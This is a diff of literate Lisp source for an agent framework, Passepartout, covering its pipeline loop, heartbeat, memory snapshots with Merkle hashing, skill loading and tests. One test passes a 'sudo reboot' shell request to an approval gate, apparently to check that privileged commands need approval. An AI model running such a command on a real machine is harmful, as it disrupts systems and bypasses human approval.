(let* ((candidate '(:type :REQUEST :payload (:action :shell :cmd "sudo reboot")))
|
||||
(signal '(:type :EVENT :payload (:sensor :user-input)))
|
||||
(result (cognitive-verify candidate signal)))
|
||||
(is (eq :approval-required (getf result :level)))
|
||||
(is (eq :EVENT (getf result :type)))))
|
||||
|
||||
(test test-loop-gate-reason-passthrough
|
||||
"Contract 2: non-user-input sensors pass through loop-gate-reason unchanged."
|
||||
(let* ((signal '(:type :EVENT :payload (:sensor :heartbeat) :meta (:source :system)))
|
||||
(result (loop-gate-reason signal)))
|
||||
(is (not (null result)))))
|
||||
|
||||
(test test-loop-gate-reason-sets-status
|
||||
"Contract 2: loop-gate-reason sets :status on :user-input signals."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(let* ((passepartout::*provider-cascade* nil)
|
||||
(signal (list :type :EVENT :payload (list :sensor :user-input :text "test")))
|
||||
(result (loop-gate-reason signal)))
|
||||
(is (member (getf result :status) '(:reasoned :requires-approval)))))
|
||||
|
||||
(test test-backend-cascade-no-backends
|
||||
"Contract 4: empty cascade returns :LOG failure."
|
||||
(let* ((passepartout::*provider-cascade* nil)
|
||||
(passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
|
||||
(result (backend-cascade-call "test" :cascade '())))
|
||||
(is (eq :LOG (getf result :type)))
|
||||
(is (search "exhausted" (getf (getf result :payload) :text) :test #'char-equal))))
|
||||
|
||||
(test test-backend-cascade-with-mock
|
||||
"Contract 4: backend-cascade-call returns content from first successful backend."
|
||||
(let ((passepartout::*backend-registry* (make-hash-table :test 'equal)))
|
||||
(setf (gethash :mock-backend passepartout::*backend-registry*)
|
||||
(lambda (prompt sp &key model)
|
||||
(declare (ignore prompt sp model))
|
||||
(list :status :success :content "mock-response")))
|
||||
(let ((result (backend-cascade-call "hello" :cascade '(:mock-backend))))
|
||||
(is (string= "mock-response" result)))))
|
||||
#+end_src
|
||||
|
||||
@@ -33,6 +33,15 @@ The three-tier error recovery model:
|
||||
2. **Critical errors** (undefined functions, malformed data) — require memory rollback to the last snapshot
|
||||
3. **Recursive loops** (signals generating more signals indefinitely) — depth limit enforcement
|
||||
|
||||
** Contract
|
||||
|
||||
1. (loop-process signal): the full pipeline loop — Perceive → Reason
|
||||
→ Act. Enforces depth limit (10). Catches errors with rollback and
|
||||
~:loop-error~ re-injection on non-terminal errors below depth 2.
|
||||
2. (process-signal signal): thin alias for ~loop-process~.
|
||||
3. (diagnostics-startup-run): runs health check on startup, sets
|
||||
~*system-health*~ to ~:healthy~, ~:degraded~, or ~:unhealthy~.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
@@ -44,16 +53,26 @@ The three-tier error recovery model:
|
||||
|
||||
Thread-safe interrupt flag. The ~*loop-interrupt-lock*~ mutex protects access so that the signal handler and the main loop don't race on shutdown.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *interrupt-flag* nil
|
||||
"Atomic flag set by signal handlers to trigger graceful shutdown.")
|
||||
|
||||
#+end_src
|
||||
** *loop-interrupt-lock*
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *loop-interrupt-lock* (bt:make-lock "harness-interrupt-lock")
|
||||
"Mutex protecting *interrupt-flag* access.")
|
||||
|
||||
#+end_src
|
||||
** *heartbeat-thread*
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *heartbeat-thread* nil
|
||||
"Handle to the heartbeat thread.")
|
||||
#+end_src
|
||||
#+end_src
|
||||
|
||||
** Core Engine (loop-process)
|
||||
|
||||
@@ -68,6 +87,11 @@ The function handles four failure modes:
|
||||
- High-depth errors (depth > 2) → dropped (avoids cascading failures)
|
||||
- **Unhandled error**: the handler-case catches everything, preventing any single bad signal from crashing the agent
|
||||
|
||||
*** loop-process
|
||||
|
||||
The main pipeline entry point.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun loop-process (signal)
|
||||
"The entry point to the Metabolic Pipeline: Perceive -> Reason -> Act."
|
||||
@@ -84,15 +108,15 @@ The function handles four failure modes:
|
||||
(return nil))
|
||||
|
||||
(handler-case
|
||||
(progn
|
||||
(setf current-signal (perceive-gate current-signal))
|
||||
(setf current-signal (reason-gate current-signal))
|
||||
(let ((feedback (act-gate current-signal)))
|
||||
(if feedback
|
||||
(progn
|
||||
(unless (getf feedback :meta) (setf (getf feedback :meta) meta))
|
||||
(setf current-signal feedback))
|
||||
(setf current-signal nil))))
|
||||
(progn
|
||||
(setf current-signal (perceive-gate current-signal))
|
||||
(setf current-signal (reason-gate current-signal))
|
||||
(let ((feedback (act-gate current-signal)))
|
||||
(if feedback
|
||||
(progn
|
||||
(unless (getf feedback :meta) (setf (getf feedback :meta) meta))
|
||||
(setf current-signal feedback))
|
||||
(setf current-signal nil))))
|
||||
(error (c)
|
||||
(let ((sensor (ignore-errors (getf (getf current-signal :payload) :sensor))))
|
||||
(log-message "METABOLISM CRASH [~a]: ~a" (or sensor :unknown) c)
|
||||
@@ -106,6 +130,18 @@ The function handles four failure modes:
|
||||
:payload (list :sensor :loop-error :message (format nil "~a" c) :depth depth)))))))))))
|
||||
#+end_src
|
||||
|
||||
*** process-signal (backward-compatibility alias)
|
||||
|
||||
The pipeline entry point was originally named ~process-signal~. Code
|
||||
that still uses the old name can call this alias. New code should call
|
||||
~loop-process~.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun process-signal (signal)
|
||||
(loop-process signal))
|
||||
#+end_src
|
||||
|
||||
** Heartbeat Mechanism
|
||||
|
||||
The heartbeat is a background thread that fires every N seconds (configurable via ~HEARTBEAT_INTERVAL~ env var, default 60). On each tick, it:
|
||||
@@ -115,10 +151,19 @@ The heartbeat is a background thread that fires every N seconds (configurable vi
|
||||
|
||||
The heartbeat signal is how background skills (Gardener, Scribe) get triggered without user input. These skills have triggers that match ~:sensor :heartbeat~ and run maintenance tasks during idle cycles.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *memory-auto-save-interval* 300)
|
||||
#+end_src
|
||||
** *heartbeat-save-counter*
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *heartbeat-save-counter* 0)
|
||||
|
||||
#+end_src
|
||||
** heartbeat-start
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun heartbeat-start ()
|
||||
"Starts the background heartbeat thread."
|
||||
(let ((interval (or (ignore-errors (parse-integer (uiop:getenv "HEARTBEAT_INTERVAL"))) 60))
|
||||
@@ -135,15 +180,17 @@ The heartbeat signal is how background skills (Gardener, Scribe) get triggered w
|
||||
(when (>= *heartbeat-save-counter* (/ *memory-auto-save-interval* interval))
|
||||
(setf *heartbeat-save-counter* 0)
|
||||
(save-memory-to-disk))
|
||||
(inject-stimulus
|
||||
(list :type :EVENT :payload (list :sensor :heartbeat :unix-time (get-universal-time))))))
|
||||
(stimulus-inject
|
||||
(list :type :EVENT :payload (list :sensor :heartbeat :unix-time (get-universal-time))))))
|
||||
:name "passepartout-heartbeat"))))
|
||||
#+end_src
|
||||
#+end_src
|
||||
|
||||
** Shutdown Save Flag
|
||||
|
||||
Controls whether memory is saved on shutdown. Useful for testing when you want a clean state on next boot.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *shutdown-save-enabled* t)
|
||||
#+end_src
|
||||
@@ -157,13 +204,19 @@ Used by the health check protocol and the daemon's status endpoint. Set by ~diag
|
||||
- ~:unhealthy~ — checks failed, the daemon may not function correctly
|
||||
- ~:unknown~ — health check hasn't run yet
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *system-health* :unknown
|
||||
"Current system health status: :healthy, :degraded, :unhealthy, or :unknown.")
|
||||
|
||||
#+end_src
|
||||
** *health-check-ran*
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *health-check-ran* nil
|
||||
"Flag indicating if initial health check has completed.")
|
||||
#+end_src
|
||||
#+end_src
|
||||
|
||||
** Proactive Doctor
|
||||
|
||||
@@ -171,6 +224,7 @@ Runs the doctor diagnostics automatically at startup. If the doctor finds issues
|
||||
|
||||
This is the "fail open" principle applied to boot: the system should start even with problems, not refuse to start until everything is perfect.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun diagnostics-startup-run ()
|
||||
"Runs the doctor diagnostics on startup. Returns health status."
|
||||
@@ -180,8 +234,8 @@ This is the "fail open" principle applied to boot: the system should start even
|
||||
(format t "==================================================~%")
|
||||
(handler-case
|
||||
(progn
|
||||
(when (fboundp 'doctor-run-all)
|
||||
(let ((result (doctor-run-all :auto-install nil)))
|
||||
(when (fboundp 'diagnostics-run-all)
|
||||
(let ((result (diagnostics-run-all :auto-install nil)))
|
||||
(setf *health-check-ran* t)
|
||||
(if result
|
||||
(progn
|
||||
@@ -190,10 +244,10 @@ This is the "fail open" principle applied to boot: the system should start even
|
||||
(progn
|
||||
(setf *system-health* :degraded)
|
||||
(format t "DAEMON: Health check found issues.~%")
|
||||
(format t " Run 'passepartout doctor --fix' to repair.~%")))))
|
||||
(format t " Run 'passepartout diagnostics' to repair.~%")))))
|
||||
(setf *health-check-ran* t))
|
||||
(error (c)
|
||||
(format t "DOCTOR ERROR: ~a~%" c)
|
||||
(format t "DIAGNOSTICS ERROR: ~a~%" c)
|
||||
(setf *system-health* :unhealthy)
|
||||
(setf *health-check-ran* t)))
|
||||
(format t "==================================================~%~%"))
|
||||
@@ -214,6 +268,7 @@ Boot sequence:
|
||||
8. Install the SIGINT handler (graceful shutdown on Ctrl+C)
|
||||
9. Enter the idle sleep loop (wakes on interrupt)
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun main ()
|
||||
"Entry point for Passepartout. Initializes the system and enters idle loop."
|
||||
@@ -223,10 +278,10 @@ Boot sequence:
|
||||
(cl-dotenv:load-env env-file)))
|
||||
|
||||
(load-memory-from-disk)
|
||||
(initialize-actuators)
|
||||
(initialize-all-skills)
|
||||
(actuator-initialize)
|
||||
(skill-initialize-all)
|
||||
|
||||
;; Run proactive doctor before starting services
|
||||
;; Run proactive diagnostics before starting services
|
||||
(diagnostics-startup-run)
|
||||
|
||||
(heartbeat-start)
|
||||
@@ -265,8 +320,8 @@ Verifies that the immune system (error handling) correctly catches and reports e
|
||||
(in-suite immune-suite)
|
||||
|
||||
(test loop-error-injection
|
||||
"Verify that a crash in think/decide triggers a :loop-error stimulus."
|
||||
(clrhash passepartout::*skills-registry*)
|
||||
"Contract 1: a crash in think/decide triggers :loop-error stimulus."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(passepartout:defskill :evil-skill
|
||||
:priority 100
|
||||
:trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :user-input))
|
||||
@@ -275,4 +330,19 @@ Verifies that the immune system (error handling) correctly catches and reports e
|
||||
(passepartout:loop-process '(:type :EVENT :payload (:sensor :user-input)))
|
||||
(let ((logs (passepartout:context-get-system-logs 20)))
|
||||
(is (not (null (find-if (lambda (line) (search "CRITICAL BRAIN FAILURE" line)) logs))))))
|
||||
|
||||
(test test-process-signal-normal-path
|
||||
"Contract 1: a valid signal passes through the pipeline without crash."
|
||||
(clrhash passepartout::*skill-registry*)
|
||||
(handler-case
|
||||
(let ((signal (list :type :EVENT :depth 0 :payload (list :sensor :heartbeat))))
|
||||
(process-signal signal)
|
||||
(pass))
|
||||
(error (c)
|
||||
(fail "Pipeline crashed on normal signal: ~a" c))))
|
||||
|
||||
(test test-loop-process-returns-nil-on-deep
|
||||
"Contract 1: depth > 10 returns nil from loop-process."
|
||||
(let ((result (loop-process '(:type :EVENT :depth 11 :payload (:sensor :heartbeat)))))
|
||||
(is (null result))))
|
||||
#+end_src
|
||||
|
||||
@@ -40,26 +40,7 @@ Components are loaded in sequence (~:serial t~): package first (defines the publ
|
||||
|
||||
** Test System
|
||||
|
||||
The test system loads on top of ~opencortex~ and adds FiveAM (the test framework). Each test file is tangled from a ~:tangle ../tests/...~ block in the parent org file.
|
||||
|
||||
Note: not every harness or skill file has a corresponding test file. Tests exist only for the parts of the system where deterministic verification is most critical — the pipeline stages, the loader, the memory Merkle tree, and the peripheral vision model.
|
||||
|
||||
#+begin_src lisp
|
||||
(defsystem :passepartout/tests
|
||||
:depends-on (:passepartout :fiveam)
|
||||
:components ((:file "tests/pipeline-act-tests")
|
||||
(:file "tests/boot-sequence-tests")
|
||||
(:file "tests/communication-tests")
|
||||
(:file "tests/immune-system-tests")
|
||||
(:file "tests/memory-tests")
|
||||
(:file "tests/pipeline-perceive-tests")
|
||||
(:file "tests/pipeline-reason-tests")
|
||||
(:file "tests/peripheral-vision-tests")
|
||||
(:file "tests/tui-tests")
|
||||
(:file "tests/utils-org-tests")
|
||||
(:file "tests/utils-lisp-tests")
|
||||
(:file "tests/llm-gateway-tests")))
|
||||
#+end_src
|
||||
Tests are embedded directly in each module's source file — see the `* Test Suite` section at the end of each `.org` file. No separate test system is needed.
|
||||
|
||||
** TUI System
|
||||
|
||||
@@ -68,5 +49,8 @@ The TUI is a standalone system that depends on Croatoan (ncurses bindings) in ad
|
||||
#+begin_src lisp
|
||||
(defsystem :passepartout/tui
|
||||
:depends-on (:passepartout :croatoan :usocket :bordeaux-threads)
|
||||
:components ((:file "lisp/gateway-tui")))
|
||||
:serial t
|
||||
:components ((:file "lisp/gateway-tui-model")
|
||||
(:file "lisp/gateway-tui-view")
|
||||
(:file "lisp/gateway-tui-main")))
|
||||
#+end_src
|
||||
|
||||
@@ -34,6 +34,18 @@ Git tracks changes to files. Passepartout tracks changes to live memory state. T
|
||||
|
||||
The tradeoff is memory usage: each snapshot is a deep copy of every object in active memory. 20 snapshots means 20x the active memory size. For a typical knowledge base of 10,000 objects, this is manageable (~100MB for 20 snapshots).
|
||||
|
||||
** Contract
|
||||
|
||||
1. (ingest-ast ast &key scope): stores AST nodes in ~*memory-store*~.
|
||||
Detaches children, gives each an ID, computes Merkle hash, and
|
||||
populates the ~:vector~ slot via ~embeddings-compute~. Returns the
|
||||
root ID string.
|
||||
2. (memory-object-hash object): returns the SHA-256 Merkle hash of the
|
||||
object's content. Hash is deterministic — same content → same hash.
|
||||
3. (memory-object-get id): retrieves a stored object by ID, or nil.
|
||||
4. (snapshot-memory): deep-copies ~*memory-store*~ to ~*memory-snapshots*~.
|
||||
5. (rollback-memory snap-index): restores ~*memory-store*~ from a snapshot.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
@@ -45,16 +57,23 @@ The tradeoff is memory usage: each snapshot is a deep copy of every object in ac
|
||||
|
||||
~*memory-store*~ holds the agent's current state. ~*memory-history*~ holds every past version, keyed by Merkle hash.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *memory-store* (make-hash-table :test 'equal))
|
||||
#+end_src
|
||||
** *memory-history*
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *memory-history* (make-hash-table :test 'equal)
|
||||
"Immutable Merkle-Tree versioning store mapping hashes to objects.")
|
||||
#+end_src
|
||||
#+end_src
|
||||
|
||||
** Object Lookup (memory-object-get)
|
||||
|
||||
Retrieve a single object by its ID from active memory. Returns nil if the ID doesn't exist.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun memory-object-get (id)
|
||||
"Retrieves an memory-object by ID from *memory-store*."
|
||||
@@ -67,6 +86,7 @@ Scan the entire active memory for objects whose attributes plist contains a spec
|
||||
|
||||
This is a full scan — O(n) over all objects. For the typical knowledge base size (< 10,000 objects), this is microsecond-fast. For larger datasets, a proper index would be needed.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun memory-objects-by-attribute (attr value)
|
||||
"Returns all memory-objects whose :ATTRIBUTES plist has ATTR = VALUE."
|
||||
@@ -83,6 +103,7 @@ This is a full scan — O(n) over all objects. For the typical knowledge base si
|
||||
|
||||
Generates a unique identifier string for a new Org node. Uses the universal time encoded in base-36 for compactness and monotonic ordering (later IDs sort after earlier ones).
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun memory-id-generate ()
|
||||
"Generates a UUIDv4 unique ID. Compatible with Agora Note UUIDs."
|
||||
@@ -103,16 +124,19 @@ The universal data unit. Every stored entity — a note, a task, a project, a pe
|
||||
- ~version~ — Unix timestamp of last modification
|
||||
- ~last-sync~ — Unix timestamp of last sync to disk
|
||||
- ~hash~ — SHA-256 Merkle hash for integrity verification
|
||||
- ~scope~ — scope keyword (:memex/:session/:project) for context-aware retrieval
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defstruct memory-object
|
||||
id type attributes content vector parent-id children version last-sync hash)
|
||||
id type attributes content vector parent-id children version last-sync hash scope)
|
||||
#+end_src
|
||||
|
||||
** Serialization Support
|
||||
|
||||
Required by the Lisp runtime for saving/loading objects across image restarts via ~make-load-form-saving-slots~.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defmethod make-load-form ((obj memory-object) &optional env)
|
||||
(make-load-form-saving-slots obj :environment env))
|
||||
@@ -124,6 +148,7 @@ Creates an independent copy of an ~memory-object~, including fresh lists for att
|
||||
|
||||
Without deep copy, a snapshot would share structure with the live memory — mutating the live memory would also mutate the snapshot, defeating the purpose of having a recovery point.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun deep-copy-memory-object (obj)
|
||||
"Creates a full copy of an memory-object, including fresh lists for attributes and children."
|
||||
@@ -136,7 +161,8 @@ Without deep copy, a snapshot would share structure with the live memory — mut
|
||||
:children (copy-list (memory-object-children obj))
|
||||
:version (memory-object-version obj)
|
||||
:last-sync (memory-object-last-sync obj)
|
||||
:hash (memory-object-hash obj)))
|
||||
:hash (memory-object-hash obj)
|
||||
:scope (memory-object-scope obj)))
|
||||
#+end_src
|
||||
|
||||
** Merkle Tree Integrity (memory-merkle-hash)
|
||||
@@ -149,6 +175,7 @@ Computes a deterministic SHA-256 hash from an object's identity and contents. Th
|
||||
|
||||
This is NOT a cryptographic signature — it's an integrity check. If any part of an object or its descendants changes, the hash changes.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun memory-merkle-hash (id type attributes content child-hashes)
|
||||
(let* ((alist (loop for (k v) on attributes by #'cddr collect (cons k v)))
|
||||
@@ -174,8 +201,9 @@ The primary entry point for adding data to memory. Given an Org-mode AST (a tree
|
||||
|
||||
Returns the ID of the root node.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun ingest-ast (ast &optional parent-id)
|
||||
(defun ingest-ast (ast &key parent-id (scope :memex))
|
||||
(let* ((type (getf ast :type))
|
||||
(props (getf ast :properties))
|
||||
(id (or (getf props :ID) (format nil "temp-~a" (get-universal-time))))
|
||||
@@ -185,7 +213,7 @@ Returns the ID of the root node.
|
||||
(child-ids nil) (child-hashes nil))
|
||||
(dolist (child contents)
|
||||
(when (listp child)
|
||||
(let ((child-id (ingest-ast child id)))
|
||||
(let ((child-id (ingest-ast child :parent-id id :scope scope)))
|
||||
(push child-id child-ids)
|
||||
(let ((child-obj (gethash child-id *memory-store*)))
|
||||
(when child-obj (push (memory-object-hash child-obj) child-hashes))))))
|
||||
@@ -198,9 +226,16 @@ Returns the ID of the root node.
|
||||
:id id :type type :attributes props :content raw-content
|
||||
:parent-id parent-id :children child-ids
|
||||
:version (get-universal-time) :last-sync (get-universal-time)
|
||||
:hash hash))))
|
||||
:hash hash :scope scope))))
|
||||
(unless existing-obj (setf (gethash hash *memory-history*) obj))
|
||||
(setf (gethash id *memory-store*) obj)
|
||||
;; Populate embedding vector for new objects
|
||||
(when (and raw-content (not existing-obj) (not (memory-object-vector obj)))
|
||||
(handler-case
|
||||
(setf (memory-object-vector obj)
|
||||
(embeddings-compute raw-content))
|
||||
(error (c)
|
||||
(log-message "INGEST: Embedding deferred: ~a" c))))
|
||||
id)))
|
||||
#+end_src
|
||||
|
||||
@@ -208,6 +243,7 @@ Returns the ID of the root node.
|
||||
|
||||
A stack of CoW (copy-on-write) snapshots for rollback. When a critical error occurs, the system can roll back to any of the last 20 snapshots. Newer snapshots are prepended (index 0 = most recent).
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *memory-snapshots* nil)
|
||||
#+end_src
|
||||
@@ -216,6 +252,7 @@ A stack of CoW (copy-on-write) snapshots for rollback. When a critical error occ
|
||||
|
||||
Creates a fully independent copy of a hash table. Used by the rollback system to restore saved memory state from a snapshot.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun memory-hash-table-copy (hash-table)
|
||||
"Creates an independent copy of a hash table."
|
||||
@@ -231,6 +268,7 @@ Captures a point-in-time copy of ~*memory-store*~. Each object is deep-copied so
|
||||
|
||||
Called automatically before significant memory mutations (buffer updates from Emacs, AST ingestion). Also callable manually.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun snapshot-memory ()
|
||||
"Creates a CoW snapshot of *memory-store* for rollback recovery."
|
||||
@@ -248,6 +286,7 @@ Restores ~*memory-store*~ to a previous snapshot. By default restores the most r
|
||||
|
||||
This is the immune system's last resort. When the metabolic loop catches an unhandled error, it calls ~(rollback-memory 0)~ to undo any memory mutations caused by the bad signal.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun rollback-memory (&optional (index 0))
|
||||
"Restores *memory-store* from a snapshot. INDEX 0 = most recent."
|
||||
@@ -262,9 +301,14 @@ This is the immune system's last resort. When the metabolic loop catches an unha
|
||||
|
||||
Configurable path for serialized memory state. Falls back to ~memory.snap~ in the home directory. Can be overridden via ~MEMORY_SNAPSHOT_PATH~ env var.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *memory-snapshot-path* nil)
|
||||
|
||||
#+end_src
|
||||
** memory-snapshot-path-ensure
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun memory-snapshot-path-ensure ()
|
||||
"Returns the path to the memory snapshot file, resolving env or default."
|
||||
(or *memory-snapshot-path*
|
||||
@@ -272,6 +316,7 @@ Configurable path for serialized memory state. Falls back to ~memory.snap~ in th
|
||||
(setf *memory-snapshot-path*
|
||||
(or env-path (namestring (uiop:merge-pathnames* "memory.snap" (user-homedir-pathname))))))))
|
||||
#+end_src
|
||||
#+end_src
|
||||
|
||||
** Save to Disk (memory-save)
|
||||
|
||||
@@ -279,6 +324,7 @@ Serialises both ~*memory-store*~ and ~*memory-history*~ to a Lisp-readable file.
|
||||
|
||||
The serialization uses ~prin1~, which produces human-readable Lisp output. The file can be read with ~read~ on restart.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun save-memory-to-disk ()
|
||||
"Writes the entire memory and history store to disk as a plist."
|
||||
@@ -295,6 +341,7 @@ The serialization uses ~prin1~, which produces human-readable Lisp output. The f
|
||||
|
||||
Restores memory state from a previously saved snapshot file. Called during boot (~main~ in ~loop.org~). If no snapshot file exists, the function returns silently and the agent starts with empty memory.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun load-memory-from-disk ()
|
||||
"Reads memory state from disk and restores *memory-store* and *memory-history*."
|
||||
@@ -330,6 +377,7 @@ Verifies that the Merkle hash is deterministic and consistent across independent
|
||||
(in-suite memory-suite)
|
||||
|
||||
(test merkle-hash-consistency
|
||||
"Contract 2: identical ASTs produce identical Merkle hashes."
|
||||
(let* ((ast1 '(:type :HEADLINE :properties (:ID "test-1" :TITLE "Node 1") :contents nil)))
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((id1 (ingest-ast ast1)))
|
||||
@@ -337,4 +385,43 @@ Verifies that the Merkle hash is deterministic and consistent across independent
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((id2 (ingest-ast ast1)))
|
||||
(is (equal hash1 (memory-object-hash (memory-object-get id2)))))))))
|
||||
#+end_src
|
||||
|
||||
(test merkle-hash-different
|
||||
"Contract 2: distinct ASTs produce different Merkle hashes."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let* ((ast1 '(:type :HEADLINE :properties (:ID "a" :TITLE "Alpha") :contents nil))
|
||||
(ast2 '(:type :HEADLINE :properties (:ID "b" :TITLE "Beta") :contents nil))
|
||||
(id1 (ingest-ast ast1))
|
||||
(id2 (ingest-ast ast2))
|
||||
(hash1 (memory-object-hash (memory-object-get id1)))
|
||||
(hash2 (memory-object-hash (memory-object-get id2))))
|
||||
(is (not (equal hash1 hash2)))))
|
||||
|
||||
(test test-ingest-ast-returns-id
|
||||
"Contract 1: ingest-ast returns a string ID and stores the object."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "ingest-test" :TITLE "Test Node") :contents nil))))
|
||||
(is (stringp id))
|
||||
(is (not (null id)))))
|
||||
|
||||
(test test-memory-object-get
|
||||
"Contract 3: memory-object-get retrieves an object by ID after ingest."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "get-test" :TITLE "Retrieve Me") :contents nil))))
|
||||
(let ((obj (memory-object-get id)))
|
||||
(is (not (null obj)))
|
||||
(is (eq :HEADLINE (memory-object-type obj)))
|
||||
(is (string= "Retrieve Me" (getf (memory-object-attributes obj) :TITLE))))))
|
||||
|
||||
(test test-snapshot-and-rollback
|
||||
"Contract 4+5: snapshot-memory saves state; rollback-memory restores it."
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(setf passepartout::*memory-snapshots* nil)
|
||||
(ingest-ast '(:type :HEADLINE :properties (:ID "snap-a" :TITLE "Pre-snapshot") :contents nil))
|
||||
(snapshot-memory)
|
||||
(clrhash passepartout::*memory-store*)
|
||||
(ingest-ast '(:type :HEADLINE :properties (:ID "snap-b" :TITLE "Post-snapshot") :contents nil))
|
||||
(rollback-memory 0)
|
||||
(is (not (null (memory-object-get "snap-a"))))
|
||||
(is (null (memory-object-get "snap-b"))))
|
||||
#+end_src
|
||||
@@ -25,6 +25,14 @@ After loading, the engine exports the skill's public symbols into the ~passepart
|
||||
|
||||
This is how the "thin org, fat skills" principle works in practice: the org provides the loading infrastructure; the skills provide all the intelligence.
|
||||
|
||||
** Contract
|
||||
|
||||
1. (lisp-syntax-validate code-string): returns T if the Lisp code is
|
||||
structurally valid, nil if reader errors are detected.
|
||||
2. (skill-topological-sort dir): reads org files in a directory, parses
|
||||
~#+DEPENDS_ON:~ declarations, returns files sorted such that
|
||||
dependencies come before dependents.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
@@ -90,6 +98,10 @@ Iterates the registry and returns the highest-priority skill whose trigger funct
|
||||
This is how the system determines which skill "owns" the current user input. For example, if the REPL skill's trigger matches the input, the REPL skill provides the prompt template that shapes how the LLM responds.
|
||||
|
||||
#+begin_src lisp
|
||||
;; Alias: find-triggered-skill → skill-triggered-find
|
||||
(defun find-triggered-skill (context)
|
||||
(skill-triggered-find context))
|
||||
|
||||
(defun skill-triggered-find (context)
|
||||
"Returns the highest priority skill whose trigger matches context."
|
||||
(let ((triggered nil))
|
||||
@@ -98,7 +110,7 @@ This is how the system determines which skill "owns" the current user input. For
|
||||
(when (and (skill-probabilistic-prompt skill)
|
||||
(ignore-errors (funcall (skill-trigger-fn skill) context)))
|
||||
(push skill triggered)))
|
||||
*skill-registry*)
|
||||
*skill-registry*)
|
||||
(first (sort triggered #'> :key #'skill-priority))))
|
||||
#+end_src
|
||||
|
||||
@@ -177,16 +189,19 @@ Both ~.org~ and ~.lisp~ files are included. For each skill, the ~.org~ file supp
|
||||
(all-files (append org-files lisp-files))
|
||||
(files (remove-if (lambda (f)
|
||||
(let ((n (pathname-name f)))
|
||||
(or (string= n "core-defpackage")
|
||||
(string= n "core-skills")
|
||||
(string= n "core-communication")
|
||||
(string= n "core-memory")
|
||||
(string= n "core-context")
|
||||
(string= n "core-loop-perceive")
|
||||
(string= n "core-loop-reason")
|
||||
(string= n "core-loop-act")
|
||||
(string= n "core-loop")
|
||||
(string= n "core-manifest"))))
|
||||
(or (string= n "core-defpackage")
|
||||
(string= n "core-skills")
|
||||
(string= n "core-communication")
|
||||
(string= n "core-memory")
|
||||
(string= n "core-context")
|
||||
(string= n "core-loop-perceive")
|
||||
(string= n "core-loop-reason")
|
||||
(string= n "core-loop-act")
|
||||
(string= n "core-loop")
|
||||
